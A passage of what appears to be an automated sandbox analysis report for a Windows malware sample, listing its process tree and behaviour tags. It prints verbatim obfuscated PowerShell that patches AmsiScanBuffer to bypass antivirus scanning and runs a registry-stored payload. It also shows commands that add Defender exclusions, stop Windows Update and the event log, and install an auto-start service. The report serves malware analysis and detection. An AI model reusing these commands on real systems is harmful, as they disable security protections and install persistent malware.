dllhost.exe 54 PID 1740 wrote to memory of 3420 1740 dllhost.exe 55 PID 1740 wrote to memory of 3444 1740 dllhost.exe 56 PID 1740 wrote to memory of 3612 1740 dllhost.exe 57 PID 1740 wrote to memory of 3792 1740 dllhost.exe 58 PID 1740 wrote to memory of 3944 1740 dllhost.exe 60 PID 1740 wrote to memory of 4100 1740 dllhost.exe 62 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:380
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{01317926-007d-41ed-9085-5bd27d22b3da}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1740
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c8f05b37-6ff4-4b4f-afa3-66a49897a674}2⤵PID:4620
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:740
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1004
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1088
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1104
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1168 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:668
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:xKuZpOCTxluH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$zPdsVANEmUYsDj,[Parameter(Position=1)][Type]$BrXRVKaVGb)$CdZlCFvcNVZ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+'c'+''+[Char](116)+''+'e'+''+[Char](100)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+'e'+[Char](109)+'or'+[Char](121)+''+'M'+'o'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+'p'+'e','C'+'l'+''+'a'+''+'s'+'s'+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+','+''+[Char](83)+''+[Char](101)+''+'a'+'l'+[Char](101)+''+[Char](100)+','+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+'a'+''+'s'+''+[Char](115)+',Au'+[Char](116)+''+'o'+''+'C'+''+[Char](108)+'as'+'s'+'',[MulticastDelegate]);$CdZlCFvcNVZ.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+'ec'+'i'+''+[Char](97)+'lN'+[Char](97)+'m'+'e'+''+[Char](44)+''+'H'+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+'g'+','+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$zPdsVANEmUYsDj).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+''+[Char](105)+'m'+'e'+''+[Char](44)+'Ma'+[Char](110)+''+'a'+''+[Char](103)+'ed');$CdZlCFvcNVZ.DefineMethod(''+'I'+''+[Char](110)+'v'+'o'+''+[Char](107)+''+[Char](101)+'',''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+'Vi'+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+'l'+'',$BrXRVKaVGb,$zPdsVANEmUYsDj).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+','+'M'+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $CdZlCFvcNVZ.CreateType();}$btepyeanAYnBW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+'s'+'o'+''+[Char](102)+''+'t'+'.'+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+''+'2'+''+'.'+''+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+'fe'+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+'t'+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$emWdXlVYJrcLAy=$btepyeanAYnBW.GetMethod(''+[Char](71)+'e'+[Char](116)+'P'+[Char](114)+''+'o'+''+[Char](99)+''+[Char](65)+'d'+'d'+''+'r'+''+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+'b'+'li'+'c'+','+'S'+''+'t'+'a'+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$NsBaxrwESlWHILcxbXq=xKuZpOCTxluH @([String])([IntPtr]);$SvYhWEwjIRdZbNkSgWTSOK=xKuZpOCTxluH @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$SvxzkDLZKDT=$btepyeanAYnBW.GetMethod(''+[Char](71)+'e'+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'H'+[Char](97)+''+'n'+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+'2'+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$CMRfpqoKsTtnOU=$emWdXlVYJrcLAy.Invoke($Null,@([Object]$SvxzkDLZKDT,[Object](''+'L'+''+'o'+'a'+'d'+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+'a'+'r'+''+'y'+''+'A'+'')));$KaYphNCqTYgVdsiPl=$emWdXlVYJrcLAy.Invoke($Null,@([Object]$SvxzkDLZKDT,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+'u'+'a'+''+'l'+''+[Char](80)+''+'r'+''+'o'+''+[Char](116)+''+[Char](101)+'c'+'t'+'')));$FphuMZe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CMRfpqoKsTtnOU,$NsBaxrwESlWHILcxbXq).Invoke(''+'a'+'ms'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$EHLmRSIswsEXIKEaR=$emWdXlVYJrcLAy.Invoke($Null,@([Object]$FphuMZe,[Object](''+'A'+'m'+'s'+''+[Char](105)+'S'+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+'r')));$XlGoJAOBhI=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KaYphNCqTYgVdsiPl,$SvYhWEwjIRdZbNkSgWTSOK).Invoke($EHLmRSIswsEXIKEaR,[uint32]8,4,[ref]$XlGoJAOBhI);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$EHLmRSIswsEXIKEaR,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KaYphNCqTYgVdsiPl,$SvYhWEwjIRdZbNkSgWTSOK).Invoke($EHLmRSIswsEXIKEaR,[uint32]8,0x20,[ref]$XlGoJAOBhI);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](100)+'i'+[Char](97)+'l'+'e'+'rs'+[Char](116)+''+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2964
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:hspbPNOypyRI{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$FpVcnUaGTEcNlV,[Parameter(Position=1)][Type]$qKzlXrIyxj)$UOJPgoZeuBt=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+[Char](108)+'e'+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+'D'+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+'e'+'mo'+[Char](114)+''+[Char](121)+'Mo'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+'a'+''+'t'+''+'e'+'Typ'+[Char](101)+'',''+'C'+''+[Char](108)+'ass,P'+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+''+'S'+''+'e'+'a'+[Char](108)+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+'i'+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s'+','+''+'A'+''+[Char](117)+''+'t'+'oCl'+[Char](97)+''+'s'+'s',[MulticastDelegate]);$UOJPgoZeuBt.DefineConstructor('R'+'T'+''+[Char](83)+'p'+[Char](101)+'ci'+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+','+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+','+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$FpVcnUaGTEcNlV).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+'e,'+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+'g'+''+'e'+''+[Char](100)+'');$UOJPgoZeuBt.DefineMethod(''+[Char](73)+''+[Char](110)+'vo'+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+'B'+''+[Char](121)+'Si'+[Char](103)+''+[Char](44)+''+'N'+''+[Char](101)+''+'w'+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+''+[Char](105)+''+'r'+'t'+[Char](117)+'a'+[Char](108)+'',$qKzlXrIyxj,$FpVcnUaGTEcNlV).SetImplementationFlags('Ru'+[Char](110)+'t'+[Char](105)+''+[Char](109)+'e'+','+'M'+'a'+''+[Char](110)+'ag'+[Char](101)+''+[Char](100)+'');Write-Output $UOJPgoZeuBt.CreateType();}$LbfxfDiunybGO=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+''+'s'+'o'+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+'U'+''+'n'+''+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+'M'+''+[Char](101)+''+'t'+'h'+[Char](111)+''+'d'+''+[Char](115)+'');$QZoUtrElNkihWJ=$LbfxfDiunybGO.GetMethod(''+'G'+''+'e'+'t'+[Char](80)+'r'+[Char](111)+''+[Char](99)+''+'A'+''+'d'+'d'+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+'c'+''+[Char](44)+'S'+[Char](116)+''+'a'+'ti'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GcsnfCPhngdylxHRJHc=hspbPNOypyRI @([String])([IntPtr]);$CTpllsBTZvDxtiiTlrRwyq=hspbPNOypyRI @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ztpwgzcmlDk=$LbfxfDiunybGO.GetMethod(''+[Char](71)+'e'+[Char](116)+'M'+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'')));$LcTGwzFmFcOFIf=$QZoUtrElNkihWJ.Invoke($Null,@([Object]$ztpwgzcmlDk,[Object]('Lo'+'a'+''+[Char](100)+'L'+'i'+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+''+'y'+''+'A'+'')));$uAlqQMRHBgAwflUuR=$QZoUtrElNkihWJ.Invoke($Null,@([Object]$ztpwgzcmlDk,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$shAJReb=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LcTGwzFmFcOFIf,$GcsnfCPhngdylxHRJHc).Invoke(''+'a'+'m'+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$ZrnAzNgSMyuRSxniO=$QZoUtrElNkihWJ.Invoke($Null,@([Object]$shAJReb,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+''+[Char](83)+'c'+'a'+''+[Char](110)+'B'+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$TXmjiuMXKH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uAlqQMRHBgAwflUuR,$CTpllsBTZvDxtiiTlrRwyq).Invoke($ZrnAzNgSMyuRSxniO,[uint32]8,4,[ref]$TXmjiuMXKH);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ZrnAzNgSMyuRSxniO,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uAlqQMRHBgAwflUuR,$CTpllsBTZvDxtiiTlrRwyq).Invoke($ZrnAzNgSMyuRSxniO,[uint32]8,0x20,[ref]$TXmjiuMXKH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+[Char](84)+'WARE').GetValue(''+[Char](100)+''+'i'+'a'+'l'+''+[Char](101)+'r'+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+'e'+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4516 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3988
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1184
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1300
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1456
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2940
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1500
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1512
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1636
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1680
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1720
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1792
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1812
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1920
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1976
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1984
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1716
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2108
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2212
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2328
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2416
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2616
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2660
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2700
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2712
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2728
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2956
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2980
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3184
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3420
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
PID:3444 -
C:\Users\Admin\AppData\Local\Temp\9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe"C:\Users\Admin\AppData\Local\Temp\9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe"2⤵
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3896 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:212
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵PID:4908
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
PID:4728
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1648
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
PID:3844
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
PID:2300
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
PID:5008
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3392
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2884
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:392
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4824
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵PID:536
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "OZLCSUZD"3⤵
- Launches sc.exe
PID:2044
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "OZLCSUZD" binpath= "C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe" start= "auto"3⤵
- Launches sc.exe
PID:2136
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
PID:4356
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "OZLCSUZD"3⤵
- Launches sc.exe
PID:4736 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:2576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3612
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3792
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3944
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4100
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:1756
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:1960
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2740
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2020
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:396
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:1612
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:228
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1380
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4968
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:640
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:1224
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C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exeC:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:1340 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4632 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3900
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵PID:5092
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C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:2524
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:452
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1408
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2080
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:3960
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:788
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5016 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3492
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1936 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2688
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4916 -
